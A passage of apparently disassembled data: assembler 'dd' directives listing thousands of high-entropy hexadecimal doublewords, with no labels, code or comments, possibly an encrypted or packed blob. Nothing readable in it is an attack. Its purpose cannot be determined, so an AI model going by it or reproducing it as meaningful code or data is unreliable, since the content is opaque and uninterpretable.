6AA67B32h, 0C1981010h, 0D580473Bh dd 0D7D298B6h, 49A59B78h, 383CD8BEh, 44090A12h, 1048F117h dd 0CA2977DBh, 5BF9F6AAh, 0D7D1582Ch, 0DF65A353h, 0FCCEB88Bh dd 0DB947F49h, 7C017164h, 0FB0F2393h, 7F62ED1Dh, 0CCFAB3D8h dd 2AD51AF8h, 427EAC9h, 0AE2CF2D7h, 52A9ACC6h, 0FEF354A0h dd 86746B5Eh, 8DD447FBh, 50C83C11h, 0F3E731A3h, 0CCA71DC4h dd 0DA0964E1h, 0DCF7563Bh, 0A22B2C63h, 63956F12h, 41CFE887h dd 301C7188h, 0CA24F216h, 8FD37F02h, 7433473Fh, 0CF94B46Dh dd 589E8FB8h, 84C28F70h, 0BF580503h, 31105948h, 0EF89DBBh dd 700BB9Bh, 9AE14804h, 0D7634475h, 0B5304381h, 0F51070A3h dd 9FB68B36h, 0EDA59Ah, 0A2CEEA27h, 91C02F58h, 0C501A743h dd 46AF6E2h, 0F71BE7F1h dd 37B19E1Dh, 9333E8E2h, 0D3C89E14h, 0D67CB1B5h, 7E650D9Ah dd 0E3AE1400h, 54B81F39h, 87F14DBDh, 17E2864Eh, 94AD5EACh dd 0F6DE1177h, 8C698E24h, 4D636AB1h, 0C1749380h, 2C7D3E6Fh dd 74B1EA8h, 0FD446293h, 17429002h, 4F2ECF5Eh, 2DA70857h dd 7B423CB8h, 7FDD93BCh, 433F5FD9h, 0F9D44C02h, 4A210269h dd 0B7597B50h, 9A48729Fh, 0D65957F3h, 3F990A91h, 49996B4h dd 0A2B31A7Eh, 0D71C4029h, 397D6914h, 457BEDC4h, 0CC0AB6D4h dd 0C34364FDh, 12742A88h, 0C13FA2CCh, 0EEC0AC9Eh, 1C948BD7h dd 0CE836158h, 7E95CB12h, 0DBAAD59Bh, 84B9488Fh, 1236B231h dd 0E2821549h, 0D42A28B4h, 42F474CCh, 0C3B6168Eh, 0A873669Fh dd 0A6BDEB19h, 0A906C4F5h, 0E4B93C9Bh, 2D2A744Ah, 8CF8F6F8h dd 0AE730F5Eh, 1D0407F2h, 338E490Ah, 2F88ED49h, 70F13538h dd 87420307h, 5B12A55Fh, 0C82EEFFBh, 98787EACh, 0B25318C9h dd 51E7B982h, 40B4F50Ch, 11971820h, 3C448AC2h, 6FC54FA1h dd 0C1F3616Dh, 0CEA4F728h, 0B3FD4CA1h, 1ED19CD5h, 0EE3897CBh dd 0C6546836h, 0D4115A65h, 0D9F9FE7Eh, 48E7858Bh, 4CA1A730h dd 4E8DC385h, 754956B9h, 0DA44FB55h, 6B94DE18h, 2C7F3572h dd 0ACE6816Bh, 76679286h, 7DEC980Ch, 0AB1E9A90h, 737C3E9Bh dd 583F299Fh, 0B2005DCBh, 0DB54B753h, 0ED708951h, 0FB04696Ch dd 51A1FC3Eh, 58AD65Fh, 8C20B39Fh, 0F3D63084h, 0EF18437Eh dd 150E9D3Ah, 8A23F0Ch, 0B90864A3h, 11F1F60Ah, 0E79B3B3Fh dd 6314C9E2h, 9CB9CBDEh, 0EFF0CA3Dh, 6CF6187Fh, 0B8663617h dd 77CE03E3h, 0AB5EDD83h, 3CEB3F39h, 0B5C01F10h, 88236E28h dd 0B22E98B3h, 0C3D1F0Ah, 0C8099C1Bh, 2158F0ABh, 6B073666h dd 32790E66h, 7E23722Ah, 2CEAF248h, 70ED2BCFh, 76822537h dd 5BE32CE5h, 44C157F1h, 6A306D97h, 78B837Fh, 9DAB90D3h dd 0DD135F61h, 0ACFF6B09h, 0E364DDD8h, 58131D6Ch, 899203F3h dd 0A7A65085h, 8E72A0E0h, 91C9A8AAh, 0F935EC77h, 9EFF4ECDh dd 0EAAC89E8h, 910B19C7h, 0ED229364h, 70A7D1B5h, 464E7419h dd 0DD1F60Ch, 10953C1h, 15EF7EADh, 0D0B0F2B6h, 0A3EE4D4Bh dd 0C45EFECCh, 0F3D3ED52h, 838BF6E2h, 0F4077762h, 0FA358216h dd 99DE0A34h, 2020A27Eh, 0BF54B4F4h, 9A2E02EFh, 16963D48h dd 6EECE4E2h, 0E62AA43Bh, 1655DFA1h, 0F84122EEh, 907D1F00h dd 0F5344280h, 0AF0F9AA9h, 0DCA55000h, 0A034D411h, 1767580Fh dd 6B75E867h, 6B4DD01Bh, 9A50E55Dh, 7FC856FEh, 79322DC3h dd 27BA5C79h, 9AE40A28h, 64240912h, 0E5EE7C76h, 58A15496h dd 0FD9B7378h, 9214DF47h, 2E57AD27h, 0B310B09Bh, 0C91A13E5h dd 2C46A56Eh, 4CC9F0D6h, 474A67ADh, 0E17E00E3h, 0DE2FCBA0h dd 646A6201h, 665B9C90h, 80194677h, 1F19E7D9h, 864C0827h dd 3CBD4866h, 0BB9B5BB0h, 1AEC814Ah, 0CE04DDDAh, 517DB5F6h dd 200904A7h, 3E99D6E0h, 51190E15h, 130AED34h, 0E5BCC0EAh dd 47D6703Ch, 0ADA0B948h, 0A8262F3h, 0AEFF6D57h, 926CC05Eh dd 198C98DDh, 0D320D2C9h, 0D210E8A3h, 0F1AF2CB7h, 9CA982CCh dd 3FEBD170h, 0F9AA7128h, 0FAFE5AF9h, 3775BAD5h, 0FFBCDA46h dd 0D72156F2h, 7BCCDB5Dh, 0DED3EFE2h, 483F1756h, 1B98755Bh dd 785AAC00h, 708E5C6Eh, 0F5933C27h, 0E59C492Dh, 55E1DEB0h dd 0F2A27513h, 76D89908h, 8B810B08h, 970F0415h, 0EDE5F190h dd 7AA5A61Dh, 0D4468422h, 1056B746h, 0A3696416h, 6295FEB9h dd 0A19ACF77h, 87158088h, 0B315032h, 0F1F29FC1h, 0EF0024B7h dd 0C22E946Ah, 948D876Ch, 93BEB281h, 0A2695A9h, 430D7CC7h dd 0CB295B91h, 0AB466AA4h, 68174A2Eh, 0E83F5073h, 0C19B1410h dd 213052E7h, 13BA77C4h, 0CB486613h, 47DF3651h, 0D4190141h dd 4F0D01C5h, 9B701FCCh, 3F638445h, 2AC888Bh, 0E26BA666h dd 8BA59183h, 0D4E59728h, 86B488DFh, 0B6BA73CFh, 0CA033FB1h dd 0F1FEA743h, 3DD724F1h, 0E146952Ch, 3C6E9A08h, 4FC87A2Dh dd 0ED338DECh, 0C12B8075h, 0CA77ED12h, 0CBA1DB66h, 0CD99BB89h dd 1DB9B84Ah, 82871D4Fh, 0BF9FD70Ch, 82C5ED3Fh, 0EE7778B5h dd 941AC12Dh, 21021713h, 0C89489ABh, 0F7E43F0Bh, 0D3107FC9h dd 18B1F4D4h, 0EDEFB704h, 28C2580Ch, 2C001DD6h, 4BF32023h dd 8E494FACh, 0DD3B094Fh, 0E77826C9h, 7C6DC106h, 25CF680h dd 0CABEDA61h, 970F4E19h, 92169FD9h, 46B3CA69h, 0A2DFBE99h dd 5DF0D6F9h, 72EADA60h, 0F14C7A76h, 43A0D3FDh, 9A35385Ch dd 82595D18h, 37489020h, 3F64D91Ch, 0BBE2FC4Dh, 6FD57F75h dd 77462092h, 883F86Ah, 6EDB4781h, 0F80A0688h, 382123F2h dd 3C9FB815h, 0A997494Fh, 0C8F27B01h, 0E19E6B39h, 7C41E829h dd 0AE5C0213h, 0C15C1400h, 61927F4Bh, 7331DB09h, 0CADF015Eh dd 8251FEB7h, 6D858055h, 1D7222EAh, 13C98ABFh, 7B848BFDh dd 2FD0033Eh, 707B3B25h, 84E19664h, 875F0CFAh, 0C2C0B5Ah dd 22792415h, 0C3B248D0h, 8AA1CF47h, 0EA7D65EBh, 0D28CF6DEh dd 0DF992DC1h, 9D97CFE1h, 39B2AB9Ch, 3BC41EE2h, 6AF69E66h dd 5E5D75ACh, 8F678053h, 0C5E44F21h, 0F2780A03h, 0B901A774h dd 2710E388h, 4FA20C96h, 84DF3144h, 0FDC420CBh, 61006A10h dd 0C17C9C64h, 0FE32D3E8h, 0EE644627h, 7DA5150Fh, 84E1B4C4h dd 67B790B2h, 0CF16F1C6h, 795F5D0h, 3A4D1D66h, 9EBECF70h dd 9301974Ch, 0AAFA71ABh, 80FB4290h, 0EA14B328h, 86F715D4h dd 0A868BAB4h, 648E870Dh, 196CD032h, 0CE21E976h, 2F5EDBCFh dd 3359F9D3h, 0DA4342A4h, 4AF3F0C1h, 0E10C0989h, 357294A2h dd 392299E0h, 0C9620705h, 96D49BC2h, 11E49659h, 94235378h dd 31A21EC0h, 0ABA8968Ah, 6740491Bh, 27B2AC8Ch, 72E2AAC9h dd 7BC6EE3h, 6CFA6514h, 0C5059261h, 0B1A7B676h, 93C05FD0h dd 63D0148Ah, 0F9EC1C12h, 16556907h, 0FFFFF35Fh, 0A393C9C2h dd 9EE01597h, 0A99D77E9h, 0D64D2046h, 2048A398h, 0EF88F00h dd 3361A6ACh, 2555FE32h, 0F80C2729h, 8CA79205h, 0D0EDA264h dd 4BB8458Bh, 1F3ECA31h, 149C1BF1h, 0E02B024h, 9C06F072h dd 0A14A9893h, 0DC9F83A7h, 7B526C2Bh, 2CED9B04h, 0F7CA8F75h dd 0C8A4761Eh, 2FB0D314h, 0B250449Ch, 4C7BDB72h, 804BBBD4h dd 6037BE1Fh, 0D7075A4Bh, 5DC1FD58h, 0CB5C8B1Eh, 2BA903DCh dd 5F2A26B6h, 0DF1234B5h, 81C38A0Dh, 0A75738BDh, 0BE444178h dd 0F2E25A1Bh, 14940501h, 37CAD479h, 5F5133E3h, 0BE289636h dd 3E313D21h, 7B8EC006h, 898814E0h, 3FC21A2Eh, 0C05818B7h dd 3A3CA228h, 0A9C26323h, 0F1E3BB85h, 0BD611695h, 2866EE2Ch dd 0C3D79794h, 3D2A422Eh, 0A160AB47h, 0A926715Ch, 7FCDDCh dd 0BD4C9DB2h, 7FA67658h, 0E4125888h, 84A7439Fh, 0EBE7FDAh dd 9A50EF6Ch, 89730E28h, 4E6958F7h, 4942590Dh, 0E7E5633Bh dd 0E2639A5Bh, 0F290E20Ch, 0D8AEF904h, 62BDC229h, 3CCCDB5Fh dd 9FBF29F3h, 0D752A050h, 29B8300Bh, 0BFF16AC8h, 421CE753h dd 0B64A0B9Eh, 0D285582Ch, 4F1CC4CFh, 0BBE15A82h, 0B3213BAAh dd 0FA5A6F7h, 0B175A070h, 0B172D583h, 0D3EB165Fh, 8F8C7F6Dh dd 98FF9791h, 0BC992798h, 0A4103DD2h, 783EBB08h, 98AFD2E7h dd 0ED815211h, 0C6A8E714h, 0BF9EC157h, 3EBD26ABh, 21F17A8Bh dd 61D96FB4h, 0F62E4760h, 0F358DFABh, 6432F0C7h, 3E569D5Ah dd 0F81BD637h, 16C315A3h, 697753E6h, 0D62687CEh, 88BBA114h dd 6831EB3Ch, 0E6B16F50h dd 0CDCF74Dh, 0DE63A4ABh, 4367902Dh, 0CCB9FD25h, 0BF2F539Eh dd 63D421EFh, 0F146B6EDh, 5F0164BEh, 3C5C3670h, 260018F4h dd 0C8033054h, 346692AAh, 887FF014h, 0CC94CBCDh, 2D5C383Eh dd 0D48CBDF5h, 9103EA3Ah, 0D769ED67h, 52F1F509h, 0BB495368h dd 5A03B3B8h, 0D88B87ADh, 0D812BD3Ch, 0C016E994h, 0B196A7A0h dd 0B769AD02h, 0A1C7BE12h, 0CC0C698Bh, 0E6E87ABAh, 0C6B1492h dd 0A2578F43h, 3E2C8E7Bh, 771795Ah, 0A9E4B80h, 6467D14h dd 0A65D3A94h, 1566C2B5h, 65AD1E98h, 479AAEDCh, 3623F640h dd 0A369FDA8h, 302F3946h, 0A9E753Eh, 4A3C475Ch, 1E6B9A33h dd 6717892h, 7D42E0A8h, 67913C4Ch, 0D1D95537h, 16EBF6C1h dd 33958FF4h, 9C068304h, 0F4BF9533h, 52B0B4EBh, 0CFB2659Ah dd 0D67793D4h, 58E7B51Ch, 8F7FCCA9h, 9F63EAA7h, 9BDA6D2Ch dd 8ADEBB87h, 283DD455h, 32A42031h, 7F4A0169h, 548A8E54h dd 0CA8B19B9h, 661E6827h, 8B5FF829h, 0BC760C52h, 42631C2Ch dd 0B0CF915Ah, 0A8517FFCh, 0F0E6108Dh, 4844569Eh, 3BAA2FCEh dd 0DEE60379h, 0CEE2098Dh, 8D9216ADh, 81E87E32h, 0C1D56B47h dd 0F4EAEF07h, 0F7B12A88h, 0DC845D17h, 0ACFBDCC5h, 3672A7B9h dd 70C21502h, 0C45F4B9Eh, 2C555441h, 67718B5Bh, 76A28822h dd 95D72980h, 4785958Bh, 361271Ch, 0D2FC3F10h, 66D8D9E2h dd 683CE46Fh, 0A3C0CCA1h, 3DF5D43Eh, 0BA0F2648h, 0B23951C5h dd 3E25CA24h, 0CE47D58Ah, 0D5F13E5Ah, 2A91CC1Eh, 39EA8493h dd 0E0CBC25Bh, 6B0BF893h, 76F3DE24h, 8D905A25h, 9AAF5F94h dd 386B5BE9h, 0E544B2DEh, 0CAC63A1Fh, 0F59D24F2h, 0DF52004Bh dd 0B22070B3h, 3A178388h, 24BBDF0Ch, 4160D7A0h, 0CD2DDA12h dd 60C142h, 452DE271h, 16627A43h, 2FA68E52h, 837950EFh dd 0A7DD6F84h, 0D6A03613h, 0D4F4412Ah, 775326B1h, 0DBAD4D00h dd 11A26273h, 59A47C38h, 0B3007E14h, 0F855A3A9h, 30D331BAh dd 66BB4210h, 20F1B096h, 0EB7EE505h, 0FAB7ECE7h, 0D02B86A9h dd 49CBC0C0h, 0BB006615h, 75D5F7D5h, 4CE07DF5h, 0B1BC58Eh dd 4657E8Ch, 0DB1A1626h, 54FA48BEh, 26963BD9h, 0C7172D43h dd 0BDA96D2Ch, 4FA3DC1Bh, 0B38FAF2Dh, 0F0B39DACh, 4D7F93EAh dd 849BDFD9h, 9D4BD3D1h, 5CE4CDA7h, 147EB5E2h, 26608DB3h dd 0EBB86A54h, 611424DDh, 3224FE59h, 1CF0BA20h, 0A3CC230Dh dd 50632FD9h, 0A5414CBEh, 2F7BE8F2h, 0A224168Ch, 75A01CD0h dd 70B4C798h, 0AE11C729h, 56078EFAh, 4B756C24h, 35890CA0h dd 0F55D230Eh, 0B40AA479h, 1F40C404h, 361402E8h, 4D59533Bh dd 94208AE8h, 0F7D6BD2h, 12EADC1Dh, 145A0262h, 155B8BC9h dd 6712DA22h, 83EF1208h, 9E5AD0E3h, 0C45D7633h, 8BFB081Ah dd 8DFCA980h, 0B3A7B45Bh, 72B94DF7h, 3395C8D1h, 0EDE96F29h dd 183F3CD0h, 0AE74EE86h, 32AF52B8h, 0EA8A84FBh, 33D4BDFEh dd 99F9EFEFh, 692FFBFBh, 243931FFh, 10DAFB91h, 4418E246h dd 25C7E99Bh, 84608F35h, 672DEA0Ah, 1763E12Ch, 26649597h dd 7CBD6A4Bh, 0FEBBEBA8h, 0C2F283E2h, 924B3778h, 0DA5CB17Ch dd 1C7B1933h, 92502C3Ch, 9B306839h, 7B7EB79Bh, 0B08750DFh dd 90CC8F47h, 0C357D188h, 4A9643E3h, 0CDEE7888h, 3E3DA350h dd 0EA00544Eh, 0DE77AF54h, 0FD1E6AD1h, 0BA5C8D7Fh, 0CA7D89DAh dd 5DDC92CEh, 0F2151375h, 1FBCFCE7h, 0F4FC34Fh, 7C3913F0h dd 0BA8A3C4Dh, 4721EB14h, 0F2A49F59h, 0A21454E1h, 0FDD4F6ECh dd 19512026h, 9A724E01h, 0A89F7BB9h, 6D61FF22h, 56652836h dd 0F3DEC514h, 38947479h, 0A654A828h, 0D933BED0h, 0C5864197h dd 6486735Ch, 69BBE7CDh, 4DC13E5Eh, 150EA3Bh, 0FEF9F3D5h dd 59A794C1h, 93544748h, 5290C63Eh, 5BD058C4h, 0F90A9C3h dd 207A9DA6h, 6BFCC5BAh, 320658F4h, 0F99B0A7Fh, 66E5F8F2h dd 43C217E9h, 50B31BFEh, 1714FA19h, 1FD92702h, 916E9B64h dd 0F09FA280h, 6312C367h, 64ED6C54h, 0EFC04FEh, 0A93089BEh dd 5FCBEE43h, 449618C0h, 0BA05A8C6h, 9BF303A2h, 804B8C6Ah dd 6FD71C9Ch, 807810C1h, 471F2564h, 3CB6186h, 0F46D1A4Ah dd 9DAAF461h, 0EEDD3EC3h, 0D861DA8Eh, 0B72CD4C1h, 4464C50Ah dd 63EB80Ch, 2994E62Eh, 0A8F91E1Eh, 0F92D145Dh, 5A8FB42Dh dd 6F1B2985h, 0F262072Fh, 7B3487F3h, 0F4378A27h, 427D00D1h dd 3D41345Dh, 55DC6BFh, 0BBE7426Dh, 0B86C8D96h, 0F91AFCFDh dd 884059A3h, 0F504E276h, 7E3D9B86h, 89DB6265h, 3CCCF189h dd 212696EDh, 887ECFF0h, 84EBC8F1h, 0F6EAD207h, 0F49ABA93h dd 9C3CD485h, 78158D2Ah, 0A51708C9h, 1B7BE4C3h, 0CDE2A47Ah dd 165B9091h, 0FF7F92ACh, 4B403137h, 0E59B8B5Fh, 0BAB2657Fh dd 2953A0A2h, 7982F97Bh, 0BC30A059h, 0CC41F5D9h, 0BB68BC82h dd 451458D3h, 3C6EAE14h, 2477CB7Dh, 25DB7DF1h, 0DE8F329Ah dd 0D4D676F5h, 85C6E07Ch, 3EA3BC5Ch, 2ADA0B86h, 8BFA75EDh dd 202F71B3h, 96CD0992h, 0AAD186B9h, 7CA20C5Bh, 0F440C5E2h dd 5E915E04h, 72731AA9h, 6993D50Bh, 0ED2B0342h, 0B47408FEh dd 397A7253h, 8971803Ah, 0AB1F0D2Ch, 93846213h, 6BCE71BCh dd 0BF76A5CEh, 4D30C895h, 38212EC8h, 0E14B94F3h, 460D2098h dd 88DBD497h, 1AF11C8Fh, 65F37B94h, 0CB7A9CDAh, 0D9D2E17Ch dd 7F7AF934h, 8D94477Eh, 1F359411h, 14693E93h, 40C3776Dh dd 0CB80A93h, 0CE37441Bh, 0CDC50ACDh, 0EC1B09D4h, 9029FEEEh dd 6B1EE14Eh, 0BB5763A4h, 0AB1460B4h, 8969C07Bh, 0FF2CB2CEh dd 0AFB5291Ah, 3FB02195h, 0D429A973h, 2E787A0Ah, 2B7B9A00h dd 924B8EB6h, 2E818D7h, 0C5A290C1h, 183D3C81h, 0D3B1A695h dd 0D9F0E80Eh, 0EEECCF7Ah, 0B0EDFD1Ch, 0D978C83h, 7469649Ch dd 0AFD90DA8h, 8FF9B246h, 0E6CD1B27h, 0E51B9C71h, 7BB84A25h dd 0DEAA2E8Dh, 0FD424A93h, 0D4BC7BDBh, 0A60320DBh, 0E0C47EA4h dd 4974B0Eh, 0D78F2BA1h, 77C19DE3h, 0BD4B92E2h, 32A32281h dd 0FDF5C42Eh, 0EBFAA938h, 2EEC54DEh, 0B597E33Fh, 0CDFC7501h dd 1893B475h, 0C2CD5D21h, 4F171B97h, 0A23AB21Fh, 0D763B733h dd 0C56AA0B3h, 57584974h, 94C649FDh, 56C63FBEh, 9A0AB1DCh dd 0DA49381h, 303B643Dh, 0B1CE077Eh, 5EA2EB7Eh, 50D54715h dd 1972B16Fh, 6E10DB3h, 0AFADEB4Dh, 8F6620D2h, 0FCF7BFECh dd 0B9AF4781h, 2875278Fh, 977098FBh, 82B069Fh, 0C903C4CBh dd 8D99D503h, 3E150894h, 4C4F2666h, 51465B6Ah, 0E1B84141h dd 232A1E1h, 2D503033h, 41588B68h, 6820B51Bh, 29C432DCh dd 0F2AC830Fh, 662884E0h, 0FAFECB29h, 0E27915h, 8B79A2CEh dd 6C4074D1h, 16858444h, 14B52029h, 6DC9A5E1h, 0D208B406h dd 4B7A2834h, 4E031570h, 0AA7BFB6h, 82752ACEh, 0A7761070h dd 0D808A65Bh, 0FC5B556Ah, 718DFFBh, 0F8241DC9h, 0E636953Ah dd 287B9485h, 0F22CC72Fh, 0C4E6924Bh, 0ADB21A3Fh, 0D4BD0FE2h dd 4D07E7D5h, 0CDF59EFh, 73BBBCB5h, 256860E1h, 0B8FE1422h dd 0F88D5307h, 0E00D0E74h, 0E0A53BAh, 0FC8E0222h, 61B56914h dd 61BD3690h, 29E6AFFFh, 59943FA9h, 1FB2210Bh, 0A997E642h dd 6B99CF46h, 0A4EB3C3Ah, 0FB7EA581h, 24E9209Ch, 14C01249h dd 7CE14AE1h, 9C58A445h, 49042D25h, 0EC5440D8h, 0C449857Ah dd 0E3B505F2h, 8FC2CE85h, 0F6FD3221h, 2E29E11Bh, 380360B1h dd 0BD70FA36h, 4897DA3Ch, 382FD824h, 0C33DD956h, 0D0C900h dd 0CF4356F4h, 5A1A8660h dd 0FF0EB1F7h, 0F2661D29h, 4902D53Bh, 71F63DEDh, 0AF127303h dd 3280F16Eh, 0C813AD37h, 78C13D2Eh, 0A1749A58h, 0C4156B4Bh dd 58CEA259h, 0B3B08A8Fh, 0E843C2F2h, 0AE205CD7h, 0B9AC2FC9h dd 0F54C67DDh, 250D2DB5h, 396B7A1Ch, 2FA7BAE1h, 5CEC2373h dd 0FB0FE0Ch, 2C4FD342h, 0EFF2F85h, 0A52068E1h, 62CE61F3h dd 0A8FE1F4Dh, 0C4DE28C7h, 0A69CF94Dh, 3586CACBh, 9BF7B37Bh dd 843DE1A0h, 0BEF42726h, 873148CFh, 4647659Ch, 0D179CEADh dd 88723D1Eh, 94175072h, 0EA81BF5Ah, 61204EE6h, 20485DECh dd 3D699C8Bh, 0CFCF9007h, 0D45FE4D5h, 0AF6650CCh, 0FC6A73FBh dd 5F6967E3h, 0DB408C62h, 0BD4379D6h, 0AA37FD2Fh, 0A8C8EFD2h dd 4CE8E9E9h, 0A32DCD08h, 505C2BEBh, 8650AD8h, 75F4418Fh dd 5FF92A8Dh, 0FBCC8E30h, 0CE78570Ah, 606C2067h, 0A6BB70F0h dd 632B3ECAh, 5783114Ah, 0EAE3CB23h, 9371A942h, 720977E0h dd 0D9C165A9h, 76399B99h, 3DF10B70h, 1A4DC083h, 0DF156ECBh dd 3D1C69AAh, 0CB615563h, 120CDC96h, 0A790E93Ch, 0F6ED9B55h dd 4B05FC5h, 0D3EE12DAh, 38C8D3Ch, 1DD0D1EDh, 0C0493452h dd 0F021827h, 1C39D57Ch, 4011B0ADh, 54B70D9Bh, 0F2841A06h dd 43313701h, 21FB74F7h, 0B96678B0h, 315E925Fh, 41132326h dd 0B081D79Dh, 2B43662h, 9F6DF463h, 208258C9h, 0A4EE0C0Fh dd 5C197D97h, 9BC3D60Eh, 468743DAh, 2A769E7Ch, 86DFEC91h dd 0B016657Bh, 6C204190h, 0DCA18042h, 7E954DC1h, 6362017Fh dd 0A0499CCh, 0B7110F24h, 8BCE7B5Dh, 0F098DADCh, 60D2EE70h dd 407AC549h, 2DE79EC2h, 80D3FFB9h, 0CA6FD8BAh, 0DD936A6Fh dd 20B3B01Ch, 5594851Fh, 0D215FEDFh, 0F3374956h, 0A4B0B1EDh dd 95C9D414h, 4FDC2E80h, 0EEB24428h, 3A579042h, 0D6DAB1CEh dd 8441C9D5h, 0F586D52Bh, 0D8CE4E11h, 5CED3E05h, 9C11DF94h dd 0D7BCD9E5h, 949D79D0h, 9E9B7F4Bh, 0BBC3D861h, 650DD29Ah dd 0A6035914h, 0C83C10EDh, 0BE4BD1B3h, 263EE89Ch, 0C3B0087Eh dd 1F19F53h, 74DDFF22h, 0B0983C92h, 0AD91465h, 96BEE556h dd 74147E3Eh, 0D2B77ECFh, 0B3FE29DFh, 8EDA61F1h, 5E79F705h dd 0AB362C85h, 84E616F9h, 41902102h, 2A301B36h, 5FC36159h dd 0B2BF92EAh, 338F640Eh, 0D2F1C754h, 53078577h, 0EA507C56h dd 8780F0B2h, 79705771h, 6585D798h, 0B3E73023h, 9A612E38h dd 0C9A7B14Ch, 454C6F48h, 0D406B3E1h, 0A84F88B8h, 85012C2Bh dd 2D867479h, 0AFBF70AEh, 0F4DBF35Dh, 0ECB3B3EDh, 7644B20Fh dd 0FC8058D7h, 12AA057Bh, 0C534BF6Dh, 0EED8B946h, 5722BBBAh dd 3353B294h, 4BB85510h, 0A0387C6Ch, 19297051h, 4D8CCB6Dh dd 9534CAFCh, 0ED2F7814h, 0EA476176h, 0D1918F47h, 0A8DBCD5Ah dd 7FB3EA73h, 0A9B2D31Ch, 4C68E9C1h, 0BF05C0EFh, 0B3D3D41Ch dd 0B3280A64h, 55A05754h, 8E6CE25h, 88397FFh, 4274573Eh dd 798B5352h, 587CA57Eh, 0C6FC9C2Bh, 0C3F1792Dh, 0BD2C706Ah dd 2C919B7h, 0A269AA0h, 162F9F64h, 0C7801F99h, 53A6201Eh dd 0A82D774Eh, 1A04082Ch, 4C73BF7h, 279DB568h, 6BE348B0h dd 0FB28B780h, 87E05D25h, 0DEEF3271h, 0B364E7E7h, 129BE2D4h dd 0D4CC9785h, 6047885Ah, 0D5201E39h, 0C6486DE3h, 6A3A5A23h dd 15C2397Dh, 0C859725Dh, 0F38D0663h, 0B1A16C57h, 0FA1052F0h dd 3A3ACF4Eh, 5849EAB7h, 0B4D2E904h, 0BC0ACB9h, 131266FEh dd 0CCD5F35h, 3C665441h, 2FDC5BE1h, 0C86AC35Fh, 0ED7DAEFEh dd 0AB18DBD4h, 1CB3B520h, 20FED14Fh, 0A4A45D7h, 0EC20DEEh dd 57442FE6h, 0E723D80Fh, 0BC1051B3h, 0A29A622Ch, 0D13B6227h dd 480E3E32h, 71C0EA87h, 3EFA99C0h, 0EF04A696h, 753B6AEFh dd 94DCEE30h, 334AF168h, 0BA54C4BEh, 0C484D10Eh, 934B384Ah dd 99BFDE59h, 65A37414h, 0E6596AB0h, 0A9DC6B7Fh, 4F79A8D8h dd 864C9290h, 96F89911h, 0CC0D5E5Ch, 9624DCC3h, 55D63C51h dd 0E340D200h, 0E0B884B8h, 37FF20CAh, 7B949D1h, 0D7CCFBB4h dd 1A72468Ch, 0A83C0E8Eh, 0E65923DDh, 0DC90DC8Bh, 0C82C89FDh dd 0BB308889h, 0C885128Fh, 562F55E3h, 9CC1F40Eh, 23C1345Bh dd 0DD827BD2h, 0A189E26h, 7ACFD11Eh, 5E8312C0h, 0D9BB89DFh dd 0D29464EAh, 7168076Ah, 517EECB1h, 8657C9Bh, 0E1E0343Fh dd 0CD2C8005h, 24801952h, 9C00D06h, 0F936B9AFh, 0CE01FE1Dh dd 35A78DAAh, 4DE5915Bh, 6C9DFB73h, 8A3BA2A6h, 0E21E2380h dd 0AFBA70F0h, 0AFDF594Bh, 0E32DBAB6h, 0E91F155Ch, 0DD96878Eh dd 84361158h, 0F86657ADh, 43AE7F22h, 0BBD258F4h, 0D734598Fh dd 70ADC006h, 3261F9Dh, 1AA65404h, 324D4CCAh, 0AFD775A4h dd 3B6C0417h, 774B2241h, 929B5CE2h, 0ED330AD8h, 88013030h dd 0AEECCFD6h, 98BD4ED4h, 0E6469E2Bh, 6FD34103h, 0AE212F66h dd 82F9ACF9h, 2BA49DFh, 96236075h, 0E8F76B6Bh, 0B88F84B4h dd 0D5CB1229h, 6B581C49h, 17DC12D5h, 8AC47904h, 7358F751h dd 1809552Fh, 8F62086h, 2D013552h, 84CDDA93h, 0C565D64Bh dd 6F2F60E0h, 13082CCh, 9A487403h, 3DED76BAh, 0F3BDA7Dh dd 5580AABEh, 317BC829h, 66A287D6h, 4D6E2BC3h, 11ED38DBh dd 0C31DDD91h, 0DB674317h, 23005B0h, 111E2402h, 6A9D7B15h dd 2A51227Ch, 2C9D6C9Ch, 0A4E332B4h, 0F5B20E51h, 0A5075779h dd 2F0981F1h, 6AA7D3E9h, 13F906Dh, 8CF7EBBDh, 8F06B0ECh dd 0C6FD6B1Ch, 0F0F9FE86h, 0A270C9E6h, 0A7B899A4h, 7665D626h dd 1690B969h, 0D2FDD386h, 0B90F00B1h, 567B88B9h, 6D452E05h dd 60B78325h, 5419FAD2h, 58A49EC8h, 6A5B0AE1h, 0C214CAB0h dd 72405346h, 7B8B3B1Dh, 0D664BE0Fh, 0D654C8EDh, 0C1F2A74Bh dd 0CE33498Eh, 0D9043477h, 0F1399B7Eh, 759C0975h, 45E0EE6Eh dd 0D2DBB21Bh, 16D297AFh, 7DD0BA69h, 0E3FF0374h, 2C70A471h dd 0AC0892B1h, 5CF0B9A3h, 322C7BA9h, 0BA3304D8h, 0D3347A3Bh dd 6D233814h, 2398987Bh, 85D3FC5Bh, 0CAEE97DCh, 81BCD255h dd 0C92B9DB7h, 4CEC7427h, 0F887D1DBh, 0F9EBFACEh, 0B304A53Ch dd 69DE3A29h, 11F31616h, 0BAC6BF55h, 9BFDACACh, 0D2D5B597h dd 23BC1325h, 0FF56FC58h, 0ED6ADEEAh, 0EE92A423h, 3A021D2h dd 0D5750B6Bh, 0EE2E86C8h, 1B73D591h, 7BF2D7FEh, 0FDEC4Dh dd 4BBF99CDh, 6169E5D6h, 3C0A4E62h, 763FDC02h, 0ABBBA7A2h dd 89C1ABEFh, 1BB4081Eh, 710C958h, 77277C9Ah, 0F54E660Fh dd 0FD7B5C78h, 9157728Eh, 0C641B909h, 99E9FD40h, 6BF02F69h dd 0C1B845C9h, 0E82A4067h, 9371B5DFh, 45FD93CFh, 28572965h dd 0C5C40C67h, 93FF97E1h, 0A921DE38h, 9FB3834Ch, 98E2A658h dd 96854B19h, 0FD892ACBh, 51984470h, 70A1E51Ah, 9CC00F8Bh dd 46B90A0Dh, 8FB9F473h, 94471B18h, 0B6495953h, 0A07E7BBFh dd 0B1D6242Ch, 756EB38Bh, 0D7CE38A3h, 0C07F2D12h, 0F896ED96h dd 0B17E9002h, 67408FB1h, 99D1C8D3h, 77F02A97h, 0FD0731C8h dd 2CE6276Bh, 4E6F757Bh, 2A3A7551h, 847C94D1h, 81E66778h dd 3F39D73Ah, 4BD643AFh, 0C2FEF562h, 0B9AA6498h, 7A85A299h dd 48241BC2h, 1B4CC188h, 43E97411h, 0D56FF093h, 119CE244h dd 953BDCE4h, 0E33BA557h, 3A2F679h, 226B1039h, 0F6F1C16Ch dd 0C2473C3Fh, 0DC6553A5h, 0B80C7FC4h, 